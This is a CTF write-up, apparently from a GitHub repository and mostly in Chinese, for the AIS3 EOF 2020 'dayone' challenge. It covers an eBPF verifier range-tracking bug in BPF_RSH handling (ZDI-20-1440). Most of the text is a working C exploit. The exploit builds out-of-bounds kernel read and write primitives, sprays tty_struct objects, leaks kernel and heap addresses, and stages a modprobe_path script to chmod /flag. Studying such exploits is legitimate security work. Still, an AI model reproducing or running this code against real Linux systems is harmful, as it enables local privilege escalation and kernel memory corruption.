Skip to content

Latest commit

 

History

History
404 lines (345 loc) · 11.6 KB

AIS3EOF_2020.md

File metadata and controls

404 lines (345 loc) · 11.6 KB

Pwn

dayone - ZDI-20-1440

漏洞成因為 verifier 在執行 adjust_reg_min_max_vals() 時,如果 opcode 為 BPF_RSH,則會根據當前的 min_valmax_val,調整 dst_reg->min_value 以及 dst_reg->max_value,不過在更新範圍的運算式沒有寫好,導致可能會有 over read/write 的問題 (src):

	case BPF_RSH:
		/* RSH by a negative number is undefined, and the BPF_RSH is an
		 * unsigned shift, so make the appropriate casts.
		 */
		if (min_val < 0 || dst_reg->min_value < 0)
			dst_reg->min_value = BPF_REGISTER_MIN_RANGE;
		else
			dst_reg->min_value =
				(u64)(dst_reg->min_value) >> min_val;
		if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
			dst_reg->max_value >>= max_val;
		break;
  • 最大值應該要侷限在 dst_reg->max_value >>= min_val 以及最小值要侷限在 dst_reg->min_value >>= max_val 才 make sense

adjust_reg_min_max_vals() 會在 check_alu_op() 中被呼叫到,

/* check validity of 32-bit and 64-bit arithmetic operations */
static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
{
	struct bpf_reg_state *regs = env->cur_state.regs, *dst_reg;
	u8 opcode = BPF_OP(insn->code);
	int err;

	if (opcode == BPF_END || opcode == BPF_NEG) {
		...
	} else {	/* all other ALU ops: and, sub, xor, add, ... */
		dst_reg = &regs[insn->dst_reg];

		/* first we want to adjust our ranges. */
		adjust_reg_min_max_vals(env, insn); // <--- here
        ...    
    	} else if (BPF_CLASS(insn->code) == BPF_ALU64 &&
			   dst_reg->type == UNKNOWN_VALUE && /* 因為 reg->type 是 register,所以不會進來 */
			   env->allow_ptr_leaks) {
			/* unknown += K|X */
			return evaluate_reg_alu(env, insn);
		} else if (BPF_CLASS(insn->code) == BPF_ALU64 &&
			   dst_reg->type == CONST_IMM && /* 因為 reg->type 是 register,所以不會進來 */
			   env->allow_ptr_leaks) {
			/* reg_imm += K|X */
			return evaluate_reg_imm_alu(env, insn);
	    }
	    ...
		if (env->allow_ptr_leaks && /* --- WARNING --- */
		    BPF_CLASS(insn->code) == BPF_ALU64 && opcode == BPF_ADD &&
		    (dst_reg->type == PTR_TO_MAP_VALUE ||
		     dst_reg->type == PTR_TO_MAP_VALUE_ADJ))
			dst_reg->type = PTR_TO_MAP_VALUE_ADJ;
		else
			mark_reg_unknown_value(regs, insn->dst_reg);
    }
    return 0;
}
  • 但是 env->allow_ptr_leaks 必須要為 true,否則在做 add operation 時會被 mark 成 unknown value (mark_reg_unknown_value(regs, insn->dst_reg);)

基本上可以透過 BPF_JGE 去調整 branch register 所記錄的 max 與 min,並且最後透過 RSH 讓 branch register 誤認為某 register 內的值為 0 (但實際上為可控),透過 map_addr + 該 register 就能 overread/overwrite。

暫時的 exploit,(leak kern + heap),是不是只有 allow_ptr_leaks == true 的情況下才能 100% leak heap?,嘗試 heap spray tty_struct 才能做到一定機率 leak heap,而且都是第一次執行 exploit 才有機會,否則接下來都會是 0:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <string.h>
#include <math.h>
#include <sys/fcntl.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <linux/bpf.h>
#include "bpf_insn.h"
#define SO_ATTACH_BPF 50
#define LOG_BUF_SIZE 65536

/**
 * r1 = fd
 * r2 = idx
 * [r10-4] = idx
 * r2 = r10
 * r2 -= 4 // idx
 * map_lookup_elem(r1, r2)
 */
#define BPF_GET_MAP(fd, idx) \
        BPF_LD_MAP_FD(BPF_REG_1, fd), \
        BPF_MOV64_IMM(BPF_REG_2, idx), \
        BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_2, -4), \
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \
        BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem), \
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
        BPF_EXIT_INSN()

const uint64_t key = 0;
static char bpf_log_buf[LOG_BUF_SIZE] = {0};
static int ctlmap_fd, expmap_fd, socks[2], prog_fd;

void _log(const char *s, unsigned long val)
{
    char buf[128];
    sprintf(buf, "[*] %s : 0x%016lx", s, val);
    puts(buf);
}

void show(uint64_t *ptr, int num)
{
    puts("----------- show -----------");
    for (int i = 0 ; i < num; i++)
        printf("%d:  0x%016lx \n", i, ptr[i]);
    puts("----------- end -----------\n");
}

int bpf(enum bpf_cmd cmd, union bpf_attr *attr, unsigned int size)
{
    return syscall(__NR_bpf, cmd, attr, size);
}

/* REF: https://man7.org/linux/man-pages/man2/bpf.2.html */

/**
 * The BPF_MAP_CREATE command creates a new map, returning a
 * new file descriptor that refers to the map
 */
static inline int
bpf_create_map(enum bpf_map_type map_type,
                unsigned int key_size,
                unsigned int value_size,
                unsigned int max_entries)
{
    union bpf_attr attr = {
        .map_type    = map_type,
        .key_size    = key_size,
        .value_size  = value_size,
        .max_entries = max_entries
    };

    return bpf(BPF_MAP_CREATE, &attr, sizeof(attr));
}

/**
 * The BPF_PROG_LOAD command is used to load an eBPF program into
 * the kernel.  The return value for this command is a new file
 * descriptor associated with this eBPF program
 */
static inline int
bpf_prog_load(enum bpf_prog_type type,
                const struct bpf_insn *insns, int insn_cnt,
                const char *license)
{
    union bpf_attr attr = {
        .prog_type = type,
        .insns     = (uint64_t) insns,
        .insn_cnt  = insn_cnt,
        .license   = (uint64_t) license,
        .log_buf   = (uint64_t) bpf_log_buf,
        .log_size  = LOG_BUF_SIZE,
        .log_level = 1,
        .kern_version = 0,
    };
    bpf_log_buf[0] = 0;
    return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}

/**
 * The BPF_MAP_UPDATE_ELEM command creates or updates an
 * element with a given key/value in the map referred to by
 * the file descriptor fd
 */
static inline int
bpf_update_elem(int fd, const void *key, const void *value,
                uint64_t flags)
{
    union bpf_attr attr = {
        .map_fd = fd,
        .key    = (uint64_t) key,
        .value  = (uint64_t) value,
        .flags  = flags,
    };

    return bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

/**
 * The BPF_MAP_LOOKUP_ELEM command looks up an element with a
 * given key in the map referred to by the file descriptor
 * fd.
 */
static inline int
bpf_lookup_elem(int fd, const void *key, void *value)
{
    union bpf_attr attr = {
        .map_fd = fd,
        .key    = (uint64_t) key,
        .value  = (uint64_t) value,
    };

    return bpf(BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
struct bpf_insn insns[] = 
{
    BPF_GET_MAP(3, 0), // r0 = ctlmap_fd
    BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0), /* r8 = [r0] */
    BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_0, 8), /* r9 = [r0 + 0x8] */
    BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 0x10), /* r3 = [r0 + 0x10], cmd */
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0x18), /* r1 = [r0 + 0x18], value */
    BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_0, 0x20), /* r5 = [r0 + 0x20], neg */
    
    BPF_MOV64_REG(BPF_REG_6, BPF_REG_0), /* r6 = r0, for backup */

    /* --- trigger bug --- */
    BPF_JMP_IMM(BPF_JGE, BPF_REG_8, 0, 1),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JGE, BPF_REG_8, 0x1000, 11),
    /* 0 <= r8 < 0x1000 */

    BPF_JMP_IMM(BPF_JGE, BPF_REG_9, 0, 1),
    BPF_EXIT_INSN(),
    BPF_JMP_IMM(BPF_JGE, BPF_REG_9, 0x400, 8),
    /* 0 <= r9 < 0x400 */
    
    BPF_ALU64_REG(BPF_RSH, BPF_REG_8, BPF_REG_9), /* r8 >>= r9 */
    BPF_JMP_IMM(BPF_JNE, BPF_REG_5, 1, 1), /* check r5 - 1:neg 0:pos */
    BPF_ALU64_IMM(BPF_NEG, BPF_REG_8, 0), /* r8 *= -1 */
    BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_8), /* r0 += r8 */
    /* --- trigger bug end --- */
    
    BPF_JMP_IMM(BPF_JNE, BPF_REG_3, 1, 4), /* check r3 - 2:leak heap 1:read 0:write */

    /* ---- read ---- */
    BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_0, 0), /* r4 = [r0] */
    BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_4, 0), /* [r6] = r4 */
    BPF_MOV64_REG(BPF_REG_0, 0),
    BPF_EXIT_INSN(),

    /* --- leak heap --- */
    BPF_JMP_IMM(BPF_JNE, BPF_REG_3, 2, 3),
    BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_6, 0),  /* [r6] = r6 */
    BPF_MOV64_REG(BPF_REG_0, 0),
    BPF_EXIT_INSN(),

    /* ---- write ---- */
    BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_1, 0), /* [r0] = r1 */
    BPF_MOV64_REG(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
};

void setup_modprobe_path()
{
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/qq");
    system("chmod +x /tmp/qq");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");
}

void trigger_hook()
{
    char buf[64];
    puts("trigger hook ...");
    syscall(__NR_write, socks[0], buf, sizeof(buf));
}

void init_proc()
{
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    int pfds[0x300];
    
    ctlmap_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x100, 1);
    expmap_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x100, 1);
    /* heap spray */
    for (int i = 0; i < 0x300; i++) {
        pfds[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    }

    if (expmap_fd < 0 || ctlmap_fd < 0) {
        perror("[-] create map failed");
        exit(1);
    }
    prog_fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insns,
                            sizeof(insns) / sizeof(insns[0]), "GPL");
    if (prog_fd < 0) {
        perror("[-] create prog_fd failed");
        exit(1);
    }
    socketpair(AF_UNIX, SOCK_DGRAM, 0, socks);
    assert(setsockopt(socks[1], SOL_SOCKET, SO_ATTACH_BPF,
                        &prog_fd, sizeof(prog_fd)) == 0);
    printf("expmap_fd: %d, ctlmap_fd: %d\n", expmap_fd, ctlmap_fd);
    printf("prog_fd: %d\n", prog_fd);
    printf("socks: %d %d\n", socks[0], socks[1]);
}

void leak_heap(uint64_t *map)
{
    map[0] = 1;
    map[1] = 0;
    map[2] = 2;
    map[3] = 0xdeadbeef; // dummy
    map[4] = 0;
    bpf_update_elem(ctlmap_fd, &key, map, 0);
    trigger_hook();
    bpf_lookup_elem(ctlmap_fd, &key, map);
}

void read_from_map(uint64_t *map, int64_t off)
{
    map[0] = abs(off);
    map[1] = 0;
    map[2] = 1;
    map[3] = 0xdeadbeef; // dummy
    if (off < 0) {
        map[4] = 1;
    } else {
        map[4] = 0;
    }
    bpf_update_elem(ctlmap_fd, &key, map, 0);
    trigger_hook();
    bpf_lookup_elem(ctlmap_fd, &key, map);
}

void write_to_map(uint64_t *map, int64_t off, uint64_t val)
{
    map[0] = abs(off);
    map[1] = 0;
    map[2] = 0;
    map[3] = val;
    if (off < 0) {
        map[4] = 1;
    } else {
        map[4] = 0;
    }
    bpf_update_elem(ctlmap_fd, &key, map, 0);
    trigger_hook();
}

void exploit()
{
    char *map0 = (char *) malloc(0x100);
    char *map1 = (char *) malloc(0x100);
    uint64_t *map0_64 = (uint64_t *) map0;
    uint64_t *map1_64 = (uint64_t *) map1;
    
    /**
     * map0
     * 0: r8 (offset)
     * 1: r9 (fix)
     * 2: r3 (cmd)
     * 3: r1 (value)
     * 4: r5 (neg)
     */
    /* leak kern */
    leak_heap(map0_64);
    show(map0_64, 4);
    uint64_t heap = map0_64[0];
    _log("heap", heap);

    read_from_map(map0_64, -0x90);
    uint64_t kern = map0_64[0] - 0x82e300;
    _log("kern", kern);
}

int main()
{
    init_proc();
    setup_modprobe_path();
    exploit();

    // printf("log:\n%s\n", bpf_log_buf);
    // system("/tmp/dummy");
    // system("cat /flag");
    return 0;
}

eBPF 的相關知識補充:

  • check_cfg() - 檢測 loop-free
  • do_check() - 檢測 invalid insn 以及 memory violations

參考資料: